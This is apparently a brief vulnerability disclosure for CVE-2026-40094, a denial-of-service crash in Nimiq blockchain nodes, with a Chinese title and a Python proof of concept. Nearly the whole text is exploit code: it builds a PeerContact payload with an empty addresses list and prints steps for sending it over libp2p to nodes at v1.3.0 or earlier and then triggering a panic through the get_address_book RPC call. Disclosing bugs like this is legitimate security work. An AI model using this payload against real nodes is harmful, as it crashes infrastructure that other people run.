CVE-2026-40094 Nimiq Blockchain空地址列表致崩溃漏洞

import json # Conceptual PoC for CVE-2026-40094 # This script demonstrates the structure of the malicious PeerContact payload. # In a real scenario, this would be sent via the libp2p protocol to a vulnerable node. def generate_malicious_peer_contact(): # Construct a PeerContact object with an empty addresses list malicious_payload = { "public_key": "<attacker_public_key>", "signature": "<attacker_signature>", "addresses": [], # The vulnerability trigger: Empty list "timestamp": 1716000000 } return json.dumps(malicious_payload) if __name__ == "__main__": print("[+] Generating malicious PeerContact payload...") payload = generate_malicious_peer_contact() print(f"[+] Payload: {payload}") print("[+] Send this payload to a vulnerable Nimiq node (v1.3.0 or earlier) via libp2p.") print("[+] Triggering get_address_book via RPC will cause the node to panic/crash.")